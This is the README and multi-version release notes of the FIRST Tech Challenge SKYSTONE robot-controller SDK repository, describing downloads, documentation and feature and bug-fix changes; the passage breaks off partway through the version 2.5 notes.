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A template for simple System V init scripts
chrisneagu
NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https://github.com/FIRST-Tech-Challenge/SKYSTONE.git Or, if you prefer, you can use the "Download Zip" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder ("Import project (Eclipse ADT, Gradle, etc.)"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an "evergreen" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called "doc" which contains several subfolders: The folder "apk" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder "javadoc" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type based on driver position. Replaced with menu which allows specifying type for gamepads with unknown VID and PID Attempts to auto-detect gamepad type based on USB VID and PID If gamepad VID and PID is not known, use type specified by user for that VID and PID If gamepad VID and PID is not known AND the user has not specified a type for that VID and PID, an educated guess is made about how to map the gamepad Driver Station will now attempt to automatically recover from a gamepad disconnecting, and re-assign it to the position it was assigned to when it dropped If only one gamepad is assigned and it drops: it can be recovered If two gamepads are assigned, and have different VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have different VID/PID signatures, and BOTH drop: both will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and BOTH drop: neither will be recovered, because of the ambiguity of the gamepads when they re-appear on the USB bus. There is currently one known edge case: if there are two gamepads with the same VID/PID signature plugged in, but only one is assigned, and they BOTH drop, it's a 50-50 chance of which one will be chosen for automatic recovery to the assigned position: it is determined by whichever one is re-enumerated first by the USB bus controller. Adds landscape user interface to Driver Station New feature: practice timer with audio cues New feature (Control Hub only): wireless network connection strength indicator (0-5 bars) New feature (Control Hub only): tapping on the ping/channel display will switch to an alternate display showing radio RX dBm and link speed (tap again to switch back) The layout will NOT autorotate. You can switch the layout from the Driver Station's settings menu. Breaking changes Removes support for Android versions 4.4 through 5.1 (KitKat and Lollipop). The minSdkVersion is now 23. Removes the deprecated LinearOpMode methods waitOneFullHardwareCycle() and waitForNextHardwareCycle() Enhancements Handles RS485 address of Control Hub automatically The Control Hub is automatically given a reserved address Existing configuration files will continue to work All addresses in the range of 1-10 are still available for Expansion Hubs The Control Hub light will now normally be solid green, without blinking to indicate the address The Control Hub will not be shown on the Expansion Hub Address Change settings page Improves REV Hub firmware updater The user can now choose between all available firmware update files Version 1.8.2 of the REV Hub firmware is bundled into the Robot Controller app. Text was added to clarify that Expansion Hubs can only be updated via USB. Firmware update speed was reduced to improve reliability Allows REV Hub firmware to be updated directly from the Manage webpage Improves log viewer on Robot Controller Horizontal scrolling support (no longer word wrapped) Supports pinch-to-zoom Uses a monospaced font Error messages are highlighted New color scheme Attempts to force-stop a runaway/stuck OpMode without restarting the entire app Not all types of runaway conditions are stoppable, but if the user code attempts to talk to hardware during the runaway, the system should be able to capture it. Makes various tweaks to the Self Inspect screen Renames "OS version" entry to "Android version" Renames "WiFi Direct Name" to "WiFi Name" Adds Control Hub OS version, when viewing the report of a Control Hub Hides the airplane mode entry, when viewing the report of a Control Hub Removes check for ZTE Speed Channel Changer Shows firmware version for all Expansion and Control Hubs Reworks network settings portion of Manage page All network settings are now applied with a single click The WiFi Direct channel of phone-based Robot Controllers can now be changed from the Manage page WiFi channels are filtered by band (2.4 vs 5 GHz) and whether they overlap with other channels The current WiFi channel is pre-selected on phone-based Robot Controllers, and Control Hubs running OS 1.1.2 or later. On Control Hubs running OS 1.1.2 or later, you can choose to have the system automatically select a channel on the 5 GHz band Improves OnBotJava New light and dark themes replace the old themes (chaos, github, chrome,...) the new default theme is light and will be used when you first update to this version OnBotJava now has a tabbed editor Read-only offline mode Improves function of "exit" menu item on Robot Controller and Driver Station Now guaranteed to be fully stopped and unloaded from memory Shows a warning message if a LinearOpMode exists prematurely due to failure to monitor for the start condition Improves error message shown when the Driver Station and Robot Controller are incompatible with each other Driver Station OpMode Control Panel now disabled while a Restart Robot is in progress Disables advanced settings related to WiFi direct when the Robot Controller is a Control Hub. Tint phone battery icons on Driver Station when low/critical. Uses names "Control Hub Portal" and "Control Hub" (when appropriate) in new configuration files Improve I2C read performance Very large improvement on Control Hub; up to ~2x faster with small (e.g. 6 byte) reads Not as apparent on Expansion Hubs connected to a phone Update/refresh build infrastructure Update to 'androidx' support library from 'com.android.support:appcompat', which is end-of-life Update targetSdkVersion and compileSdkVersion to 28 Update Android Studio's Android plugin to latest Fix reported build timestamp in 'About' screen Add sample illustrating manual webcam use: ConceptWebcam Bug fixes Fixes SkyStone issue #248 Fixes SkyStone issue #232 and modifies bulk caching semantics to allow for cache-preserving MANUAL/AUTO transitions. Improves performance when REV 2M distance sensor is unplugged Improves readability of Toast messages on certain devices Allows a Driver Station to connect to a Robot Controller after another has disconnected Improves generation of fake serial numbers for UVC cameras which do not provide a real serial number Previously some devices would assign such cameras a serial of 0:0 and fail to open and start streaming Fixes ftc_app issue #638. Fixes a slew of bugs with the Vuforia camera monitor including: Fixes bug where preview could be displayed with a wonky aspect ratio Fixes bug where preview could be cut off in landscape Fixes bug where preview got totally messed up when rotating phone Fixes bug where crosshair could drift off target when using webcams Fixes issue in UVC driver on some devices (ftc_app 681) if streaming was started/stopped multiple times in a row Issue manifested as kernel panic on devices which do not have this kernel patch. On affected devices which do have the patch, the issue was manifest as simply a failure to start streaming. The Tech Team believes that the root cause of the issue is a bug in the Linux kernel XHCI driver. A workaround was implemented in the SDK UVC driver. Fixes bug in UVC driver where often half the frames from the camera would be dropped (e.g. only 15FPS delivered during a streaming session configured for 30FPS). Fixes issue where TensorFlow Object Detection would show results whose confidence was lower than the minimum confidence parameter. Fixes a potential exploitation issue of CVE-2019-11358 in OnBotJava Fixes changing the address of an Expansion Hub with additional Expansion Hubs connected to it Preserves the Control Hub's network connection when "Restart Robot" is selected Fixes issue where device scans would fail while the Robot was restarting Fix RenderScript usage Use androidx.renderscript variant: increased compatibility Use RenderScript in Java mode, not native: simplifies build Fixes webcam-frame-to-bitmap conversion problem: alpha channel wasn't being initialized, only R, G, & B Fixes possible arithmetic overflow in Deadline Fixes deadlock in Vuforia webcam support which could cause 5-second delays when stopping OpMode Version 5.4 (20200108-101156) Fixes SkyStone issue #88 Adds an inspection item that notes when a robot controller (Control Hub) is using the factory default password. Fixes SkyStone issue #61 Fixes SkyStone issue #142 Fixes ftc_app issue #417 by adding more current and voltage monitoring capabilities for REV Hubs. Fixes a crash sometimes caused by OnBotJava activity Improves OnBotJava autosave functionality ftc_app #738 Fixes system responsiveness issue when an Expansion Hub is disconnected Fixes issue where IMU initialization could prevent Op Modes from stopping Fixes issue where AndroidTextToSpeech.speak() would fail if it was called too early Adds telemetry.speak() methods and blocks, which cause the Driver Station (if also updated) to speak text Adds and improves Expansion Hub-related warnings Improves Expansion Hub low battery warning Displays the warning immediately after the hub reports it Specifies whether the condition is current or occurred temporarily during an OpMode run Displays which hubs reported low battery Displays warning when hub loses and regains power during an OpMode run Fixes the hub's LED pattern after this condition Displays warning when Expansion Hub is not responding to commands Specifies whether the condition is current or occurred temporarily during an OpMode run Clarifies warning when Expansion Hub is not present at startup Specifies that this condition requires a Robot Restart before the hub can be used. The hub light will now accurately reflect this state Improves logging and reduces log spam during these conditions Syncs the Control Hub time and timezone to a connected web browser programming the robot, if a Driver Station is not available. Adds bulk read functionality for REV Hubs A bulk caching mode must be set at the Hub level with LynxModule#setBulkCachingMode(). This applies to all relevant SDK hardware classes that reference that Hub. The following following Hub bulk caching modes are available: BulkCachingMode.OFF (default): All hardware calls operate as usual. Bulk data can read through LynxModule#getBulkData() and processed manually. BulkCachingMode.AUTO: Applicable hardware calls are served from a bulk read cache that is cleared/refreshed automatically to ensure identical commands don't hit the same cache. The cache can also be cleared manually with LynxModule#clearBulkCache(), although this is not recommended. (advanced users) BulkCachingMode.MANUAL: Same as BulkCachingMode.AUTO except the cache is never cleared automatically. To avoid getting stale data, the cache must be manually cleared at the beginning of each loop body or as the user deems appropriate. Removes PIDF Annotation values added in Rev 5.3 (to AndyMark, goBILDA and TETRIX motor configurations). The new motor types will still be available but their Default control behavior will revert back to Rev 5.2 Adds new ConceptMotorBulkRead sample Opmode to demonstrate and compare Motor Bulk-Read modes for reducing I/O latencies. Version 5.3 (20191004-112306) Fixes external USB/UVC webcam support Makes various bugfixes and improvements to Blocks page, including but not limited to: Many visual tweaks Browser zoom and window resize behave better Resizing the Java preview pane works better and more consistently across browsers The Java preview pane consistently gets scrollbars when needed The Java preview pane is hidden by default on phones Internet Explorer 11 should work Large dropdown lists display properly on lower res screens Disabled buttons are now visually identifiable as disabled A warning is shown if a user selects a TFOD sample, but their device is not compatible Warning messages in a Blocks op mode are now visible by default. Adds goBILDA 5201 and 5202 motors to Robot Configurator Adds PIDF Annotation values to AndyMark, goBILDA and TETRIX motor configurations. This has the effect of causing the RUN_USING_ENCODERS and RUN_TO_POSITION modes to use PIDF vs PID closed loop control on these motors. This should provide more responsive, yet stable, speed control. PIDF adds Feedforward control to the basic PID control loop. Feedforward is useful when controlling a motor's speed because it "anticipates" how much the control voltage must change to achieve a new speed set-point, rather than requiring the integrated error to change sufficiently. The PIDF values were chosen to provide responsive, yet stable, speed control on a lightly loaded motor. The more heavily a motor is loaded (drag or friction), the more noticable the PIDF improvement will be. Fixes startup crash on Android 10 Fixes ftc_app issue #712 (thanks to FROGbots-4634) Fixes ftc_app issue #542 Allows "A" and lowercase letters when naming device through RC and DS apps. Version 5.2 (20190905-083277) Fixes extra-wide margins on settings activities, and placement of the new configuration button Adds Skystone Vuforia image target data. Includes sample Skystone Vuforia Navigation op modes (Java). Includes sample Skystone Vuforia Navigation op modes (Blocks). Adds TensorFlow inference model (.tflite) for Skystone game elements. Includes sample Skystone TensorFlow op modes (Java). Includes sample Skystone TensorFlow op modes (Blocks). Removes older (season-specific) sample op modes. Includes 64-bit support (to comply with Google Play requirements). Protects against Stuck OpModes when a Restart Robot is requested. (Thanks to FROGbots-4634) (ftc_app issue #709) Blocks related changes: Fixes bug with blocks generated code when hardware device name is a java or javascript reserved word. Shows generated java code for blocks, even when hardware items are missing from the active configuration. Displays warning icon when outdated Vuforia and TensorFlow blocks are used (SkyStone issue #27) Version 5.1 (20190820-222104) Defines default PIDF parameters for the following motors: REV Core Hex Motor REV 20:1 HD Hex Motor REV 40:1 HD Hex Motor Adds back button when running on a device without a system back button (such as a Control Hub) Allows a REV Control Hub to update the firmware on a REV Expansion Hub via USB Fixes SkyStone issue #9 Fixes ftc_app issue #715 Prevents extra DS User clicks by filtering based on current state. Prevents incorrect DS UI state changes when receiving new OpMode list from RC Adds support for REV Color Sensor V3 Adds a manual-refresh DS Camera Stream for remotely viewing RC camera frames. To show the stream on the DS, initialize but do not run a stream-enabled opmode, select the Camera Stream option in the DS menu, and tap the image to refresh. This feature is automatically enabled when using Vuforia or TFOD—no additional RC configuration is required for typical use cases. To hide the stream, select the same menu item again. Note that gamepads are disabled and the selected opmode cannot be started while the stream is open as a safety precaution. To use custom streams, consult the API docs for CameraStreamServer#setSource and CameraStreamSource. Adds many Star Wars sounds to RobotController resources. Added SKYSTONE Sounds Chooser Sample Program. Switches out startup, connect chimes, and error/warning sounds for Star Wars sounds Updates OnBot Java to use a WebSocket for communication with the robot The OnBot Java page no longer has to do a full refresh when a user switches from editing one file to another Known issues: Camera Stream The Vuforia camera stream inherits the issues present in the phone preview (namely ftc_app issue #574). This problem does not affect the TFOD camera stream even though it receives frames from Vuforia. The orientation of the stream frames may not always match the phone preview. For now, these frames may be rotated manually via a custom CameraStreamSource if desired. OnBotJava Browser back button may not always work correctly It's possible for a build to be queued, but not started. The OnBot Java build console will display a warning if this occurs. A user might not realize they are editing a different file if the user inadvertently switches from one file to another since this switch is now seamless. The name of the currently open file is displayed in the browser tab. Version 5.0 (built on 19.06.14) Support for the REV Robotics Control Hub. Adds a Java preview pane to the Blocks editor. Adds a new offline export feature to the Blocks editor. Display wifi channel in Network circle on Driver Station. Adds calibration for Logitech C270 Updates build tooling and target SDK. Compliance with Google's permissions infrastructure (Required after build tooling update). Keep Alives to mitigate the Motorola wifi scanning problem. Telemetry substitute no longer necessary. Improves Vuforia error reporting. Fixes ftctechnh/ftc_app issues 621, 713. Miscellaneous bug fixes and improvements. Version 4.3 (built on 18.10.31) Includes missing TensorFlow-related libraries and files. Version 4.2 (built on 18.10.30) Includes fix to avoid deadlock situation with WatchdogMonitor which could result in USB communication errors. Comm error appeared to require that user disconnect USB cable and restart the Robot Controller app to recover. robotControllerLog.txt would have error messages that included the words "E RobotCore: lynx xmit lock: #### abandoning lock:" Includes fix to correctly list the parent module address for a REV Robotics Expansion Hub in a configuration (.xml) file. Bug in versions 4.0 and 4.1 would incorrect list the address module for a parent REV Robotics device as "1". If the parent module had a higher address value than the daisy-chained module, then this bug would prevent the Robot Controller from communicating with the downstream Expansion Hub. Added requirement for ACCESS_COARSE_LOCATION to allow a Driver Station running Android Oreo to scan for Wi-Fi Direct devices. Added google() repo to build.gradle because aapt2 must be downloaded from the google() repository beginning with version 3.2 of the Android Gradle Plugin. Important Note: Android Studio users will need to be connected to the Internet the first time build the ftc_app project. Internet connectivity is required for the first build so the appropriate files can be downloaded from the Google repository. Users should not need to be connected to the Internet for subsequent builds. This should also fix buid issue where Android Studio would complain that it "Could not find com.android.tools.lint:lint-gradle:26.1.4" (or similar). Added support for REV Spark Mini motor controller as part of the configuration menu for a servo/PWM port on the REV Expansion Hub. Provide examples for playing audio files in an Op Mode. Block Development Tool Changes Includes a fix for a problem with the Velocity blocks that were reported in the FTC Technology forum (Blocks Programming subforum). Change the "Save completed successfully." message to a white color so it will contrast with a green background. Fixed the "Download image" feature so it will work if there are text blocks in the op mode. Introduce support for Google's TensorFlow Lite technology for object detetion for 2018-2019 game. TensorFlow lite can recognize Gold Mineral and Silver Mineral from 2018-2019 game. Example Java and Block op modes are included to show how to determine the relative position of the gold block (left, center, right). Version 4.1 (released on 18.09.24) Changes include: Fix to prevent crash when deprecated configuration annotations are used. Change to allow FTC Robot Controller APK to be auto-updated using FIRST Global Control Hub update scripts. Removed samples for non supported / non legal hardware. Improvements to Telemetry.addData block with "text" socket. Updated Blocks sample op mode list to include Rover Ruckus Vuforia example. Update SDK library version number. Version 4.0 (released on 18.09.12) Changes include: Initial support for UVC compatible cameras If UVC camera has a unique serial number, RC will detect and enumerate by serial number. If UVC camera lacks a unique serial number, RC will only support one camera of that type connected. Calibration settings for a few cameras are included (see TeamCode/src/main/res/xml/teamwebcamcalibrations.xml for details). User can upload calibration files from Program and Manage web interface. UVC cameras seem to draw a fair amount of electrical current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. Updated sample Vuforia Navigation and VuMark Op Modes to demonstrate how to use an internal phone-based camera and an external UVC webcam. Support for improved motor control. REV Robotics Expansion Hub firmware 1.8 and greater will support a feed forward mechanism for closed loop motor control. FTC SDK has been modified to support PIDF coefficients (proportional, integral, derivative, and feed forward). FTC Blocks development tool modified to include PIDF programming blocks. Deprecated older PID-related methods and variables. REV's 1.8.x PIDF-related changes provide a more linear and accurate way to control a motor. Wireless Added 5GHz support for wireless channel changing for those devices that support it. Tested with Moto G5 and E4 phones. Also tested with other (currently non-approved) phones such as Samsung Galaxy S8. Improved Expansion Hub firmware update support in Robot Controller app Changes to make the system more robust during the firmware update process (when performed through Robot Controller app). User no longer has to disconnect a downstream daisy-chained Expansion Hub when updating an Expansion Hub's firmware. If user is updating an Expansion Hub's firmware through a USB connection, he/she does not have to disconnect RS485 connection to other Expansion Hubs. The user still must use a USB connection to update an Expansion Hub's firmware. The user cannot update the Expansion Hub firmware for a downstream device that is daisy chained through an RS485 connection. If an Expansion Hub accidentally gets "bricked" the Robot Controller app is now more likely to recognize the Hub when it scans the USB bus. Robot Controller app should be able to detect an Expansion Hub, even if it accidentally was bricked in a previous update attempt. Robot Controller app should be able to install the firmware onto the Hub, even if if accidentally was bricked in a previous update attempt. Resiliency FTC software can detect and enable an FTDI reset feature that is available with REV Robotics v1.8 Expansion Hub firmware and greater. When enabled, the Expansion Hub can detect if it hasn't communicated with the Robot Controller over the FTDI (USB) connection. If the Hub hasn't heard from the Robot Controller in a while, it will reset the FTDI connection. This action helps system recover from some ESD-induced disruptions. Various fixes to improve reliability of FTC software. Blocks Fixed errors with string and list indices in blocks export to java. Support for USB connected UVC webcams. Refactored optimized Blocks Vuforia code to support Rover Ruckus image targets. Added programming blocks to support PIDF (proportional, integral, derivative and feed forward) motor control. Added formatting options (under Telemetry and Miscellaneous categories) so user can set how many decimal places to display a numerical value. Support to play audio files (which are uploaded through Blocks web interface) on Driver Station in addition to the Robot Controller. Fixed bug with Download Image of Blocks feature. Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Added blocks for DcMotorEx methods. These are enhanced methods that you can use when supported by the motor controller hardware. The REV Robotics Expansion Hub supports these enhanced methods. Enhanced methods include methods to get/set motor velocity (in encoder pulses per second), get/set PIDF coefficients, etc.. Modest Improvements in Logging Decrease frequency of battery checker voltage statements. Removed non-FTC related log statements (wherever possible). Introduced a "Match Logging" feature. Under "Settings" a user can enable/disable this feature (it's disabled by default). If enabled, user provides a "Match Number" through the Driver Station user interface (top of the screen). The Match Number is used to create a log file specifically with log statements from that particular Op Mode run. Match log files are stored in /sdcard/FIRST/matlogs on the Robot Controller. Once an op mode run is complete, the Match Number is cleared. This is a convenient way to create a separate match log with statements only related to a specific op mode run. New Devices Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added configuration option for REV 20:1 HD Hex Motor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Miscellaneous Fixed some errors in the definitions for acceleration and velocity in our javadoc documentation. Added ability to play audio files on Driver Station When user is configuring an Expansion Hub, the LED on the Expansion Hub will change blink pattern (purple-cyan) to indicate which Hub is currently being configured. Renamed I2cSensorType to I2cDeviceType. Added an external sample Op Mode that demonstrates localization using 2018-2019 (Rover Ruckus presented by QualComm) Vuforia targets. Added an external sample Op Mode that demonstrates how to use the REV Robotics 2m Laser Distance Sensor. Added an external sample Op Mode that demonstrates how to use the REV Robotics Blinkin LED Controller. Re-categorized external Java sample Op Modes to "TeleOp" instead of "Autonomous". Known issues: Initial support for UVC compatible cameras UVC cameras seem to draw significant amount of current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. There might be a possible deadlock which causes the RC to become unresponsive when using a UVC webcam with a Nougat Android Robot Controller. Wireless When user selects a wireless channel, this channel does not necessarily persist if the phone is power cycled. Tech Team is hoping to eventually address this issue in a future release. Issue has been present since apps were introduced (i.e., it is not new with the v4.0 release). Wireless channel is not currently displayed for WiFi Direct connections. Miscellaneous The blink indication feature that shows which Expansion Hub is currently being configured does not work for a newly created configuration file. User has to first save a newly created configuration file and then close and re-edit the file in order for blink indicator to work. Version 3.6 (built on 17.12.18) Changes include: Blocks Changes Uses updated Google Blockly software to allow users to edit their op modes on Apple iOS devices (including iPad and iPhone). Improvement in Blocks tool to handle corrupt op mode files. Autonomous op modes should no longer get switched back to tele-op after re-opening them to be edited. The system can now detect type mismatches during runtime and alert the user with a message on the Driver Station. Updated javadoc documentation for setPower() method to reflect correct range of values (-1 to +1). Modified VuforiaLocalizerImpl to allow for user rendering of frames Added a user-overrideable onRenderFrame() method which gets called by the class's renderFrame() method. Version 3.5 (built on 17.10.30) Changes with version 3.5 include: Introduced a fix to prevent random op mode stops, which can occur after the Robot Controller app has been paused and then resumed (for example, when a user temporarily turns off the display of the Robot Controller phone, and then turns the screen back on). Introduced a fix to prevent random op mode stops, which were previously caused by random peer disconnect events on the Driver Station. Fixes issue where log files would be closed on pause of the RC or DS, but not re-opened upon resume. Fixes issue with battery handler (voltage) start/stop race. Fixes issue where Android Studio generated op modes would disappear from available list in certain situations. Fixes problem where OnBot Java would not build on REV Robotics Control Hub. Fixes problem where OnBot Java would not build if the date and time on the Robot Controller device was "rewound" (set to an earlier date/time). Improved error message on OnBot Java that occurs when renaming a file fails. Removed unneeded resources from android.jar binaries used by OnBot Java to reduce final size of Robot Controller app. Added MR_ANALOG_TOUCH_SENSOR block to Blocks Programming Tool. Version 3.4 (built on 17.09.06) Changes with version 3.4 include: Added telemetry.update() statement for BlankLinearOpMode template. Renamed sample Block op modes to be more consistent with Java samples. Added some additional sample Block op modes. Reworded OnBot Java readme slightly. Version 3.3 (built on 17.09.04) This version of the software includes improves for the FTC Blocks Programming Tool and the OnBot Java Programming Tool. Changes with verion 3.3 include: Android Studio ftc_app project has been updated to use Gradle Plugin 2.3.3. Android Studio ftc_app project is already using gradle 3.5 distribution. Robot Controller log has been renamed to /sdcard/RobotControllerLog.txt (note that this change was actually introduced w/ v3.2). Improvements in I2C reliability. Optimized I2C read for REV Expansion Hub, with v1.7 firmware or greater. Updated all external/samples (available through OnBot and in Android project folder). Vuforia Added support for VuMarks that will be used for the 2017-2018 season game. Blocks Update to latest Google Blockly release. Sample op modes can be selected as a template when creating new op mode. Fixed bug where the blocks would disappear temporarily when mouse button is held down. Added blocks for Range.clip and Range.scale. User can now disable/enable Block op modes. Fix to prevent occasional Blocks deadlock. OnBot Java Significant improvements with autocomplete function for OnBot Java editor. Sample op modes can be selected as a template when creating new op mode. Fixes and changes to complete hardware setup feature. Updated (and more useful) onBot welcome message. Known issues: Android Studio After updating to the new v3.3 Android Studio project folder, if you get error messages indicating "InvalidVirtualFileAccessException" then you might need to do a File->Invalidate Caches / Restart to clear the error. OnBot Java Sometimes when you push the build button to build all op modes, the RC returns an error message that the build failed. If you press the build button a second time, the build typically suceeds. Version 3.2 (built on 17.08.02) This version of the software introduces the "OnBot Java" Development Tool. Similar to the FTC Blocks Development Tool, the FTC OnBot Java Development Tool allows a user to create, edit and build op modes dynamically using only a Javascript-enabled web browser. The OnBot Java Development Tool is an integrated development environment (IDE) that is served up by the Robot Controller. Op modes are created and edited using a Javascript-enabled browser (Google Chromse is recommended). Op modes are saved on the Robot Controller Android device directly. The OnBot Java Development Tool provides a Java programming environment that does NOT need Android Studio. Changes with version 3.2 include: Enhanced web-based development tools Introduction of OnBot Java Development Tool. Web-based programming and management features are "always on" (user no longer needs to put Robot Controller into programming mode). Web-based management interface (where user can change Robot Controller name and also easily download Robot Controller log file). OnBot Java, Blocks and Management features available from web based interface. Blocks Programming Development Tool: Changed "LynxI2cColorRangeSensor" block to "REV Color/range sensor" block. Fixed tooltip for ColorSensor.isLightOn block. Added blocks for ColorSensor.getNormalizedColors and LynxI2cColorRangeSensor.getNormalizedColors. Added example op modes for digital touch sensor and REV Robotics Color Distance sensor. User selectable color themes. Includes many minor enhancements and fixes (too numerous to list). Known issues: Auto complete function is incomplete and does not support the following (for now): Access via this keyword Access via super keyword Members of the super cloass, not overridden by the class Any methods provided in the current class Inner classes Can't handle casted objects Any objects coming from an parenthetically enclosed expression Version 3.10 (built on 17.05.09) This version of the software provides support for the REV Robotics Expansion Hub. This version also includes improvements in the USB communication layer in an effort to enhance system resiliency. If you were using a 2.x version of the software previously, updating to version 3.1 requires that you also update your Driver Station software in addition to updating the Robot Controller software. Also note that in version 3.10 software, the setMaxSpeed and getMaxSpeed methods are no longer available (not deprecated, they have been removed from the SDK). Also note that the the new 3.x software incorporates motor profiles that a user can select as he/she configures the robot. Changes include: Blocks changes Added VuforiaTrackableDefaultListener.getPose and Vuforia.trackPose blocks. Added optimized blocks support for Vuforia extended tracking. Added atan2 block to the math category. Added useCompetitionFieldTargetLocations parameter to Vuforia.initialize block. If set to false, the target locations are placed at (0,0,0) with target orientation as specified in https://github.com/gearsincorg/FTCVuforiaDemo/blob/master/Robot_Navigation.java tutorial op mode. Incorporates additional improvements to USB comm layer to improve system resiliency (to recover from a greater number of communication disruptions). Additional Notes Regarding Version 3.00 (built on 17.04.13) In addition to the release changes listed below (see section labeled "Version 3.00 (built on 17.04.013)"), version 3.00 has the following important changes: Version 3.00 software uses a new version of the FTC Robocol (robot protocol). If you upgrade to v3.0 on the Robot Controller and/or Android Studio side, you must also upgrade the Driver Station software to match the new Robocol. Version 3.00 software removes the setMaxSpeed and getMaxSpeed methods from the DcMotor class. If you have an op mode that formerly used these methods, you will need to remove the references/calls to these methods. Instead, v3.0 provides the max speed information through the use of motor profiles that are selected by the user during robot configuration. Version 3.00 software currently does not have a mechanism to disable extra i2c sensors. We hope to re-introduce this function with a release in the near future. Version 3.00 (built on 17.04.13) *** Use this version of the software at YOUR OWN RISK!!! *** This software is being released as an "alpha" version. Use this version at your own risk! This pre-release software contains SIGNIFICANT changes, including changes to the Wi-Fi Direct pairing mechanism, rewrites of the I2C sensor classes, changes to the USB/FTDI layer, and the introduction of support for the REV Robotics Expansion Hub and the REV Robotics color-range-light sensor. These changes were implemented to improve the reliability and resiliency of the FTC control system. Please note, however, that version 3.00 is considered "alpha" code. This code is being released so that the FIRST community will have an opportunity to test the new REV Expansion Hub electronics module when it becomes available in May. The developers do not recommend using this code for critical applications (i.e., competition use). *** Use this version of the software at YOUR OWN RISK!!! *** Changes include: Major rework of sensor-related infrastructure. Includes rewriting sensor classes to implement synchronous I2C communication. Fix to reset Autonomous timer back to 30 seconds. Implementation of specific motor profiles for approved 12V motors (includes Tetrix, AndyMark, Matrix and REV models). Modest improvements to enhance Wi-Fi P2P pairing. Fixes telemetry log addition race. Publishes all the sources (not just a select few). Includes Block programming improvements Addition of optimized Vuforia blocks. Auto scrollbar to projects and sounds pages. Fixed blocks paste bug. Blocks execute after while-opModeIsActive loop (to allow for cleanup before exiting op mode). Added gyro integratedZValue block. Fixes bug with projects page for Firefox browser. Added IsSpeaking block to AndroidTextToSpeech. Implements support for the REV Robotics Expansion Hub Implements support for integral REV IMU (physically installed on I2C bus 0, uses same Bosch BNO055 9 axis absolute orientation sensor as Adafruit 9DOF abs orientation sensor). - Implements support for REV color/range/light sensor. Provides support to update Expansion Hub firmware through FTC SDK. Detects REV firmware version and records in log file. Includes support for REV Control Hub (note that the REV Control Hub is not yet approved for FTC use). Implements FTC Blocks programming support for REV Expansion Hub and sensor hardware. Detects and alerts when I2C device disconnect. Version 2.62 (built on 17.01.07) Added null pointer check before calling modeToByte() in finishModeSwitchIfNecessary method for ModernRoboticsUsbDcMotorController class. Changes to enhance Modern Robotics USB protocol robustness. Version 2.61 (released on 16.12.19) Blocks Programming mode changes: Fix to correct issue when an exception was thrown because an OpticalDistanceSensor object appears twice in the hardware map (the second time as a LightSensor). Version 2.6 (released on 16.12.16) Fixes for Gyro class: Improve (decrease) sensor refresh latency. fix isCalibrating issues. Blocks Programming mode changes: Blocks now ignores a device in the configuration xml if the name is empty. Other devices work in configuration work fine. Version 2.5 (internal release on released on 16.12.13) Blocks Programming mode changes: Added blocks support for AdafruitBNO055IMU. Added Download Op Mode button to FtcBocks.html. Added support for copying blocks in one OpMode and pasting them in an other OpMode. The clipboard 